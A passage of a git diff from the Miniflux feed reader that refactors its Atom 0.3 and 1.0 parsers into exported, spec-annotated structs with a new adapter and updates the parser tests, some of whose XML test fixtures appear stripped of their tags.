`xml:"summary"` - if item.Title == "" { - item.Title = sanitizer.TruncateHTML(item.Content, 100) - } + // The "atom:content" element is a Content construct that conveys the content of the entry. + // atom:entry elements MAY contain one or more atom:content elements. + Content Atom03Content `xml:"content"` - if item.Title == "" { - item.Title = item.URL - } - - feed.Entries = append(feed.Entries, item) - } - - return feed + // The "atom:author" element is a Person construct that indicates the default author of the entry. + // atom:entry elements MUST contain exactly one atom:author element, + // UNLESS the atom:feed element containing them contains an atom:author element itself. + // atom:entry elements MUST NOT contain more than one atom:author element. + Author AtomPerson `xml:"author"` } -type atom03Entry struct { - ID string `xml:"id"` - Title atom03Text `xml:"title"` - Modified string `xml:"modified"` - Issued string `xml:"issued"` - Created string `xml:"created"` - Links atomLinks `xml:"link"` - Summary atom03Text `xml:"summary"` - Content atom03Text `xml:"content"` - Author atomPerson `xml:"author"` -} +type Atom03Content struct { + // Content constructs MAY have a "type" attribute, whose value indicates the media type of the content. + // When present, this attribute's value MUST be a registered media type [RFC2045]. + // If not present, its value MUST be considered to be "text/plain". + Type string `xml:"type,attr"` -func (a *atom03Entry) Transform() *model.Entry { - entry := model.NewEntry() - entry.URL = a.Links.originalLink() - entry.Date = a.entryDate() - entry.Author = a.Author.String() - entry.Hash = a.entryHash() - entry.Content = a.entryContent() - entry.Title = a.entryTitle() - return entry -} + // Content constructs MAY have a "mode" attribute, whose value indicates the method used to encode the content. + // When present, this attribute's value MUST be listed below. + // If not present, its value MUST be considered to be "xml". + // + // "xml": A mode attribute with the value "xml" indicates that the element's content is inline xml (for example, namespace-qualified XHTML). + // + // "escaped": A mode attribute with the value "escaped" indicates that the element's content is an escaped string. + // Processors MUST unescape the element's content before considering it as content of the indicated media type. + // + // "base64": A mode attribute with the value "base64" indicates that the element's content is base64-encoded [RFC2045]. + // Processors MUST decode the element's content before considering it as content of the the indicated media type. + Mode string `xml:"mode,attr"` -func (a *atom03Entry) entryTitle() string { - return sanitizer.StripTags(a.Title.String()) -} - -func (a *atom03Entry) entryContent() string { - content := a.Content.String() - if content != "" { - return content - } - - summary := a.Summary.String() - if summary != "" { - return summary - } - - return "" -} - -func (a *atom03Entry) entryDate() time.Time { - dateText := "" - for _, value := range []string{a.Issued, a.Modified, a.Created} { - if value != "" { - dateText = value - break - } - } - - if dateText != "" { - result, err := date.Parse(dateText) - if err != nil { - slog.Debug("Unable to parse date from Atom 0.3 feed", - slog.String("date", dateText), - slog.String("id", a.ID), - slog.Any("error", err), - ) - return time.Now() - } - - return result - } - - return time.Now() -} - -func (a *atom03Entry) entryHash() string { - for _, value := range []string{a.ID, a.Links.originalLink()} { - if value != "" { - return crypto.Hash(value) - } - } - - return "" -} - -type atom03Text struct { - Type string `xml:"type,attr"` - Mode string `xml:"mode,attr"` CharData string `xml:",chardata"` InnerXML string `xml:",innerxml"` } -func (a *atom03Text) String() string { +func (a *Atom03Content) Content() string { content := "" switch { diff --git a/internal/reader/atom/atom_03_adapter.go b/internal/reader/atom/atom_03_adapter.go new file mode 100644 index 00000000..02d78ec8 --- /dev/null +++ b/internal/reader/atom/atom_03_adapter.go @@ -0,0 +1,115 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package atom // import "miniflux.app/v2/internal/reader/atom" + +import ( + "log/slog" + "time" + + "miniflux.app/v2/internal/crypto" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/reader/date" + "miniflux.app/v2/internal/reader/sanitizer" + "miniflux.app/v2/internal/urllib" +) + +type Atom03Adapter struct { + atomFeed *Atom03Feed +} + +func NewAtom03Adapter(atomFeed *Atom03Feed) *Atom03Adapter { + return &Atom03Adapter{atomFeed} +} + +func (a *Atom03Adapter) BuildFeed(baseURL string) *model.Feed { + feed := new(model.Feed) + + // Populate the feed URL. + feedURL := a.atomFeed.Links.firstLinkWithRelation("self") + if feedURL != "" { + if absoluteFeedURL, err := urllib.AbsoluteURL(baseURL, feedURL); err == nil { + feed.FeedURL = absoluteFeedURL + } + } else { + feed.FeedURL = baseURL + } + + // Populate the site URL. + siteURL := a.atomFeed.Links.OriginalLink() + if siteURL != "" { + if absoluteSiteURL, err := urllib.AbsoluteURL(baseURL, siteURL); err == nil { + feed.SiteURL = absoluteSiteURL + } + } else { + feed.SiteURL = baseURL + } + + // Populate the feed title. + feed.Title = a.atomFeed.Title.Content() + if feed.Title == "" { + feed.Title = feed.SiteURL + } + + for _, atomEntry := range a.atomFeed.Entries { + entry := model.NewEntry() + + // Populate the entry URL. + entry.URL = atomEntry.Links.OriginalLink() + if entry.URL != "" { + if absoluteEntryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL); err == nil { + entry.URL = absoluteEntryURL + } + } + + // Populate the entry content. + entry.Content = atomEntry.Content.Content() + if entry.Content == "" { + entry.Content = atomEntry.Summary.Content() + } + + // Populate the entry title. + entry.Title = atomEntry.Title.Content() + if entry.Title == "" { + entry.Title = sanitizer.TruncateHTML(entry.Content, 100) + } + if entry.Title == "" { + entry.Title = entry.URL + } + + // Populate the entry author. + entry.Author = atomEntry.Author.PersonName() + if entry.Author == "" { + entry.Author = a.atomFeed.Author.PersonName() + } + + // Populate the entry date. + for _, value := range []string{atomEntry.Issued, atomEntry.Modified, atomEntry.Created} { + if parsedDate, err := date.Parse(value); err == nil { + entry.Date = parsedDate + break + } else { + slog.Debug("Unable to parse date from Atom 0.3 feed", + slog.String("date", value), + slog.String("id", atomEntry.ID), + slog.Any("error", err), + ) + } + } + if entry.Date.IsZero() { + entry.Date = time.Now() + } + + // Generate the entry hash. + for _, value := range []string{atomEntry.ID, atomEntry.Links.OriginalLink()} { + if value != "" { + entry.Hash = crypto.Hash(value) + break + } + } + + feed.Entries = append(feed.Entries, entry) + } + + return feed +} diff --git a/internal/reader/atom/atom_03_test.go b/internal/reader/atom/atom_03_test.go index 0d21f9c1..54662bc9 100644 --- a/internal/reader/atom/atom_03_test.go +++ b/internal/reader/atom/atom_03_test.go @@ -27,7 +27,7 @@ func TestParseAtom03(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/atom.xml", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -36,7 +36,7 @@ func TestParseAtom03(t *testing.T) { t.Errorf("Incorrect title, got: %s", feed.Title) } - if feed.FeedURL != "http://diveintomark.org/" { + if feed.FeedURL != "http://diveintomark.org/atom.xml" { t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) } @@ -74,6 +74,28 @@ func TestParseAtom03(t *testing.T) { } } +func TestParseAtom03WithoutSiteURL(t *testing.T) { + data := ` + + 2003-12-13T18:30:02Z + Mark Pilgrim + + Atom 0.3 snapshot + + tag:diveintomark.org,2003:3.2397 + + ` + + feed, err := Parse("http://diveintomark.org/atom.xml", bytes.NewReader([]byte(data)), "0.3") + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "http://diveintomark.org/atom.xml" { + t.Errorf("Incorrect title, got: %s", feed.Title) + } +} + func TestParseAtom03WithoutFeedTitle(t *testing.T) { data := ` @@ -87,7 +109,7 @@ func TestParseAtom03WithoutFeedTitle(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -110,7 +132,7 @@ func TestParseAtom03WithoutEntryTitleButWithLink(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -138,7 +160,7 @@ func TestParseAtom03WithoutEntryTitleButWithSummary(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -166,7 +188,7 @@ func TestParseAtom03WithoutEntryTitleButWithXMLContent(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -197,7 +219,7 @@ func TestParseAtom03WithSummaryOnly(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -228,7 +250,7 @@ func TestParseAtom03WithXMLContent(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } @@ -259,7 +281,7 @@ func TestParseAtom03WithBase64Content(t *testing.T) { ` - feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://diveintomark.org/", bytes.NewReader([]byte(data)), "0.3") if err != nil { t.Fatal(err) } diff --git a/internal/reader/atom/atom_10.go b/internal/reader/atom/atom_10.go index 5b67e073..3fd4693c 100644 --- a/internal/reader/atom/atom_10.go +++ b/internal/reader/atom/atom_10.go @@ -6,286 +6,200 @@ package atom // import "miniflux.app/v2/internal/reader/atom" import ( "encoding/xml" "html" - "log/slog" - "strconv" "strings" - "time" - "miniflux.app/v2/internal/crypto" - "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/date" "miniflux.app/v2/internal/reader/media" "miniflux.app/v2/internal/reader/sanitizer" - "miniflux.app/v2/internal/urllib" ) +// The "atom:feed" element is the document (i.e., top-level) element of +// an Atom Feed Document, acting as a container for metadata and data +// associated with the feed. Its element children consist of metadata +// elements followed by zero or more atom:entry child elements. +// // Specs: // https://tools.ietf.org/html/rfc4287 // https://validator.w3.org/feed/docs/atom.html -type atom10Feed struct { - XMLName xml.Name `xml:"http://www.w3.org/2005/Atom feed"` - ID string `xml:"id"` - Title atom10Text `xml:"title"` - Authors atomAuthors `xml:"author"` - Icon string `xml:"icon"` - Links atomLinks `xml:"link"` - Entries []atom10Entry `xml:"entry"` +type Atom10Feed struct { + XMLName xml.Name `xml:"http://www.w3.org/2005/Atom feed"` + + // The "atom:id" element conveys a permanent, universally unique + // identifier for an entry or feed. + // + // Its content MUST be an IRI, as defined by [RFC3987]. Note that the + // definition of "IRI" excludes relative references. Though the IRI + // might use a dereferencable scheme, Atom Processors MUST NOT assume it + // can be dereferenced. + // + // atom:feed elements MUST contain exactly one atom:id element. + ID string `xml:"http://www.w3.org/2005/Atom id"` + + // The "atom:title" element is a Text construct that conveys a human- + // readable title for an entry or feed. + // + // atom:feed elements MUST contain exactly one atom:title element. + Title Atom10Text `xml:"http://www.w3.org/2005/Atom title"` + + // The "atom:author" element is a Person construct that indicates the + // author of the entry or feed. + // + // atom:feed elements MUST contain one or more atom:author elements, + // unless all of the atom:feed element's child atom:entry elements + // contain at least one atom:author element. + Authors AtomPersons `xml:"http://www.w3.org/2005/Atom author"` + + // The "atom:icon" element's content is an IRI reference [RFC3987] that + // identifies an image that provides iconic visual identification for a + // feed. + // + // atom:feed elements MUST NOT contain more than one atom:icon element. + Icon string `xml:"http://www.w3.org/2005/Atom icon"` + + // The "atom:logo" element's content is an IRI reference [RFC3987] that + // identifies an image that provides visual identification for a feed. + // + // atom:feed elements MUST NOT contain more than one atom:logo element. + Logo string `xml:"http://www.w3.org/2005/Atom logo"` + + // atom:feed elements SHOULD contain one atom:link element with a rel + // attribute value of "self". This is the preferred URI for + // retrieving Atom Feed Documents representing this Atom feed. + // + // atom:feed elements MUST NOT contain more than one atom:link + // element with a rel attribute value of "alternate" that has the + // same combination of type and hreflang attribute values. + Links AtomLinks `xml:"http://www.w3.org/2005/Atom link"` + + // The "atom:category" element conveys information about a category + // associated with an entry or feed. This specification assigns no + // meaning to the content (if any) of this element. + // + // atom:feed elements MAY contain any number of atom:category + // elements. + Categories AtomCategories `xml:"http://www.w3.org/2005/Atom category"` + + Entries []Atom10Entry `xml:"http://www.w3.org/2005/Atom entry"` } -func (a *atom10Feed) Transform(baseURL string) *model.Feed { - var err error +type Atom10Entry struct { + // The "atom:id" element conveys a permanent, universally unique + // identifier for an entry or feed. + // + // Its content MUST be an IRI, as defined by [RFC3987]. Note that the + // definition of "IRI" excludes relative references. Though the IRI + // might use a dereferencable scheme, Atom Processors MUST NOT assume it + // can be dereferenced. + // + // atom:entry elements MUST contain exactly one atom:id element. + ID string `xml:"http://www.w3.org/2005/Atom id"` - feed := new(model.Feed) + // The "atom:title" element is a Text construct that conveys a human- + // readable title for an entry or feed. + // + // atom:entry elements MUST contain exactly one atom:title element. + Title Atom10Text `xml:"http://www.w3.org/2005/Atom title"` - feedURL := a.Links.firstLinkWithRelation("self") - feed.FeedURL, err = urllib.AbsoluteURL(baseURL, feedURL) - if err != nil { - feed.FeedURL = feedURL - } + // The "atom:published" element is a Date construct indicating an + // instant in time associated with an event early in the life cycle of + // the entry. + Published string `xml:"http://www.w3.org/2005/Atom published"` - siteURL := a.Links.originalLink() - feed.SiteURL, err = urllib.AbsoluteURL(baseURL, siteURL) - if err != nil { - feed.SiteURL = siteURL - } + // The "atom:updated" element is a Date construct indicating the most + // recent instant in time when an entry or feed was modified in a way + // the publisher considers significant. Therefore, not all + // modifications necessarily result in a changed atom:updated value. + // + // atom:entry elements MUST contain exactly one atom:updated element. + Updated string `xml:"http://www.w3.org/2005/Atom updated"` - feed.Title = html.UnescapeString(a.Title.String()) - if feed.Title == "" { - feed.Title = feed.SiteURL - } + // atom:entry elements MUST NOT contain more than one atom:link + // element with a rel attribute value of "alternate" that has the + // same combination of type and hreflang attribute values. + Links AtomLinks `xml:"http://www.w3.org/2005/Atom link"` - feed.IconURL = strings.TrimSpace(a.Icon) + // atom:entry elements MUST contain an atom:summary element in either + // of the following cases: + // * the atom:entry contains an atom:content that has a "src" + // attribute (and is thus empty). + // * the atom:entry contains content that is encoded in Base64; + // i.e., the "type" attribute of atom:content is a MIME media type + // [MIMEREG], but is not an XML media type [RFC3023], does not + // begin with "text/", and does not end with "/xml" or "+xml". + // + // atom:entry elements MUST NOT contain more than one atom:summary + // element. + Summary Atom10Text `xml:"http://www.w3.org/2005/Atom summary"` - for _, entry := range a.Entries { - item := entry.Transform() - entryURL, err := urllib.AbsoluteURL(feed.SiteURL, item.URL) - if err == nil { - item.URL = entryURL - } + // atom:entry elements MUST NOT contain more than one atom:content + // element. + Content Atom10Text `xml:"http://www.w3.org/2005/Atom content"` - if item.Author == "" { - item.Author = a.Authors.String() - } + // The "atom:author" element is a Person construct that indicates the + // author of the entry or feed. + // + // atom:entry elements MUST contain one or more atom:author elements + Authors AtomPersons `xml:"http://www.w3.org/2005/Atom author"` - if item.Title == "" { - item.Title = sanitizer.TruncateHTML(item.Content, 100) - } + // The "atom:category" element conveys information about a category + // associated with an entry or feed. This specification assigns no + // meaning to the content (if any) of this element. + // + // atom:entry elements MAY contain any number of atom:category + // elements. + Categories AtomCategories `xml:"http://www.w3.org/2005/Atom category"` - if item.Title == "" { - item.Title = item.URL - } - - feed.Entries = append(feed.Entries, item) - } - - return feed -} - -type atom10Entry struct { - ID string `xml:"id"` - Title atom10Text `xml:"title"` - Published string `xml:"published"` - Updated string `xml:"updated"` - Links atomLinks `xml:"link"` - Summary atom10Text `xml:"summary"` - Content atom10Text `xml:"http://www.w3.org/2005/Atom content"` - Authors atomAuthors `xml:"author"` - Categories []atom10Category `xml:"category"` - media.Element -} - -func (a *atom10Entry) Transform() *model.Entry { - entry := model.NewEntry() - entry.URL = a.Links.originalLink() - entry.Date = a.entryDate() - entry.Author = a.Authors.String() - entry.Hash = a.entryHash() - entry.Content = a.entryContent() - entry.Title = a.entryTitle() - entry.Enclosures = a.entryEnclosures() - entry.CommentsURL = a.entryCommentsURL() - entry.Tags = a.entryCategories() - return entry -} - -func (a *atom10Entry) entryTitle() string { - return html.UnescapeString(a.Title.String()) -} - -func (a *atom10Entry) entryContent() string { - content := a.Content.String() - if content != "" { - return content - } - - summary := a.Summary.String() - if summary != "" { - return summary - } - - mediaDescription := a.FirstMediaDescription() - if mediaDescription != "" { - return mediaDescription - } - - return "" -} - -// Note: The published date represents the original creation date for YouTube feeds. -// Example: -// 2019-01-26T08:02:28+00:00 -// 2019-01-29T07:27:27+00:00 -func (a *atom10Entry) entryDate() time.Time { - dateText := a.Published - if dateText == "" { - dateText = a.Updated - } - - if dateText != "" { - result, err := date.Parse(dateText) - if err != nil { - slog.Debug("Unable to parse date from Atom 0.3 feed", - slog.String("date", dateText), - slog.String("id", a.ID), - slog.Any("error", err), - ) - return time.Now() - } - - return result - } - - return time.Now() -} - -func (a *atom10Entry) entryHash() string { - for _, value := range []string{a.ID, a.Links.originalLink()} { - if value != "" { - return crypto.Hash(value) - } - } - - return "" -} - -func (a *atom10Entry) entryEnclosures() model.EnclosureList { - enclosures := make(model.EnclosureList, 0) - duplicates := make(map[string]bool) - - for _, mediaThumbnail := range a.AllMediaThumbnails() { - if _, found := duplicates[mediaThumbnail.URL]; !found { - duplicates[mediaThumbnail.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaThumbnail.URL, - MimeType: mediaThumbnail.MimeType(), - Size: mediaThumbnail.Size(), - }) - } - } - - for _, link := range a.Links { - if strings.EqualFold(link.Rel, "enclosure") { - if link.URL == "" { - continue - } - - if _, found := duplicates[link.URL]; !found { - duplicates[link.URL] = true - length, _ := strconv.ParseInt(link.Length, 10, 0) - enclosures = append(enclosures, &model.Enclosure{URL: link.URL, MimeType: link.Type, Size: length}) - } - } - } - - for _, mediaContent := range a.AllMediaContents() { - if _, found := duplicates[mediaContent.URL]; !found { - duplicates[mediaContent.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaContent.URL, - MimeType: mediaContent.MimeType(), - Size: mediaContent.Size(), - }) - } - } - - for _, mediaPeerLink := range a.AllMediaPeerLinks() { - if _, found := duplicates[mediaPeerLink.URL]; !found { - duplicates[mediaPeerLink.URL] = true - enclosures = append(enclosures, &model.Enclosure{ - URL: mediaPeerLink.URL, - MimeType: mediaPeerLink.MimeType(), - Size: mediaPeerLink.Size(), - }) - } - } - - return enclosures -} - -func (r *atom10Entry) entryCategories() []string { - categoryList := make([]string, 0) - - for _, atomCategory := range r.Categories { - if strings.TrimSpace(atomCategory.Label) != "" { - categoryList = append(categoryList, strings.TrimSpace(atomCategory.Label)) - } else { - categoryList = append(categoryList, strings.TrimSpace(atomCategory.Term)) - } - } - - return categoryList -} - -// See https://tools.ietf.org/html/rfc4685#section-4 -// If the type attribute of the atom:link is omitted, its value is assumed to be "application/atom+xml". -// We accept only HTML or XHTML documents for now since the intention is to have the same behavior as RSS. -func (a *atom10Entry) entryCommentsURL() string { - commentsURL := a.Links.firstLinkWithRelationAndType("replies", "text/html", "application/xhtml+xml") - if urllib.IsAbsoluteURL(commentsURL) { - return commentsURL - } - return "" -} - -type atom10Text struct { - Type string `xml:"type,attr"` - CharData string `xml:",chardata"` - InnerXML string `xml:",innerxml"` - XHTMLRootElement atomXHTMLRootElement `xml:"http://www.w3.org/1999/xhtml div"` -} - -type atom10Category struct { - Term string `xml:"term,attr"` - Label string `xml:"label,attr"` + media.MediaItemElement } +// A Text construct contains human-readable text, usually in small +// quantities. The content of Text constructs is Language-Sensitive. +// Specs: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1 // Text: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.1 // HTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.2 // XHTML: https://datatracker.ietf.org/doc/html/rfc4287#section-3.1.1.3 -func (a *atom10Text) String() string { +type Atom10Text struct { + Type string `xml:"type,attr"` + CharData string `xml:",chardata"` + InnerXML string `xml:",innerxml"` + XHTMLRootElement AtomXHTMLRootElement `xml:"http://www.w3.org/1999/xhtml div"` +} + +func (a *Atom10Text) Body() string { var content string - switch { - case a.Type == "", a.Type == "text", a.Type == "text/plain": - if strings.HasPrefix(strings.TrimSpace(a.InnerXML), ` - Example Feed 2003-12-13T18:30:02Z @@ -20,7 +19,6 @@ func TestParseAtomSample(t *testing.T) { John Doe urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6 - Atom-Powered Robots Run Amok @@ -28,10 +26,9 @@ func TestParseAtomSample(t *testing.T) { 2003-12-13T18:30:02Z Some text. - ` - feed, err := Parse("http://example.org/feed.xml", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org/feed.xml", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -93,7 +90,7 @@ func TestParseFeedWithoutTitle(t *testing.T) { 2003-12-13T18:30:02Z ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -123,7 +120,7 @@ func TestParseEntryWithoutTitleButWithURL(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -154,7 +151,7 @@ func TestParseEntryWithoutTitleButWithSummary(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -187,7 +184,7 @@ func TestParseEntryWithoutTitleButWithXHTMLContent(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -206,7 +203,7 @@ func TestParseFeedURL(t *testing.T) { 2003-12-13T18:30:02Z ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -220,12 +217,31 @@ func TestParseFeedURL(t *testing.T) { } } -func TestParseFeedWithRelativeURL(t *testing.T) { +func TestParseFeedWithRelativeFeedURL(t *testing.T) { + data := ` + + Example Feed + + + 2003-12-13T18:30:02Z + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/feed" { + t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + } +} + +func TestParseFeedWithRelativeSiteURL(t *testing.T) { data := ` Example Feed - + Test @@ -238,21 +254,53 @@ func TestParseFeedWithRelativeURL(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } if feed.FeedURL != "https://example.org/blog/atom.xml" { - t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + t.Errorf("Incorrect feed URL, got: %q", feed.FeedURL) } if feed.SiteURL != "https://example.org/blog" { - t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) + t.Errorf("Incorrect site URL, got: %q", feed.SiteURL) } if feed.Entries[0].URL != "https://example.org/blog/article.html" { - t.Errorf("Incorrect entry URL, got: %s", feed.Entries[0].URL) + t.Errorf("Incorrect entry URL, got: %q", feed.Entries[0].URL) + } +} + +func TestParseFeedSiteURLWithTrailingSpace(t *testing.T) { + data := ` + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "http://example.org" { + t.Errorf("Incorrect site URL, got: %q", feed.SiteURL) + } +} + +func TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) { + data := ` + + + ` + + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/blog/atom.xml" { + t.Errorf("Incorrect site URL, got: %q", feed.FeedURL) } } @@ -272,7 +320,7 @@ func TestParseEntryWithRelativeURL(t *testing.T) { ` - feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -298,7 +346,7 @@ func TestParseEntryURLWithTextHTMLType(t *testing.T) { ` - feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -324,7 +372,7 @@ func TestParseEntryURLWithNoRelAndNoType(t *testing.T) { ` - feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -350,7 +398,7 @@ func TestParseEntryURLWithAlternateRel(t *testing.T) { ` - feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.net/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -378,7 +426,7 @@ func TestParseEntryTitleWithWhitespaces(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -412,7 +460,7 @@ func TestParseEntryWithPlainTextTitle(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -420,7 +468,7 @@ func TestParseEntryWithPlainTextTitle(t *testing.T) { expected := `AT&T bought by SBC!` for i := range 2 { if feed.Entries[i].Title != expected { - t.Errorf("Incorrect title for entry #%d, got: %q", i, feed.Entries[i].Title) + t.Errorf("Incorrect title for entry #%d, got: %q instead of %q", i, feed.Entries[i].Title, expected) } } } @@ -430,45 +478,32 @@ func TestParseEntryWithHTMLTitle(t *testing.T) { Example Feed - - <code>Test</code> Test - - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - Some text. + <code>Code</code> Test + - - <![CDATA[Test “Test”]]> - - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - Some text. + <![CDATA[Test with “unicode quote”]]> + - <![CDATA[Entry title with space around CDATA]]> - - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - Some text. + - ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - if feed.Entries[0].Title != "Test Test" { + if feed.Entries[0].Title != "Code Test" { t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title) } - if feed.Entries[1].Title != "Test “Test”" { + if feed.Entries[1].Title != "Test with “unicode quote”" { t.Errorf("Incorrect entry title, got: %q", feed.Entries[1].Title) } @@ -497,13 +532,13 @@ func TestParseEntryWithXHTMLTitle(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - if feed.Entries[0].Title != `This is XHTML content.` { - t.Errorf("Incorrect entry title, got: %q", feed.Entries[1].Title) + if feed.Entries[0].Title != `This is XHTML content.` { + t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title) } } @@ -524,7 +559,7 @@ func TestParseEntryWithEmptyXHTMLTitle(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -551,7 +586,7 @@ func TestParseEntryWithXHTMLTitleWithoutDiv(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -577,7 +612,7 @@ func TestParseEntryWithNumericCharacterReferenceTitle(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -603,12 +638,12 @@ func TestParseEntryWithDoubleEncodedEntitiesTitle(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } - if feed.Entries[0].Title != `'AT&T'` { + if feed.Entries[0].Title != `'AT&T'` { t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title) } } @@ -629,7 +664,7 @@ func TestParseEntryWithXHTMLSummary(t *testing.T) { ` - feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("https://example.org/", bytes.NewReader([]byte(data)), "10") if err != nil { t.Fatal(err) } @@ -644,39 +679,33 @@ func TestParseEntryWithHTMLSummary(t *testing.T) { Example Feed - - Example + Example 1 - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - <code>std::unique_ptr&lt;S&gt;</code> + <code>std::unique_ptr&lt;S&gt; myvar;</code> - - Example + Example 2 - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - <code>std::unique_ptr&lt;S&gt;</code> + <code>std::unique_ptr&lt;S&gt; myvar;</code> - - Example + Example 3 - urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a - 2003-12-13T18:30:02Z - std::unique_ptr<S>]]> + 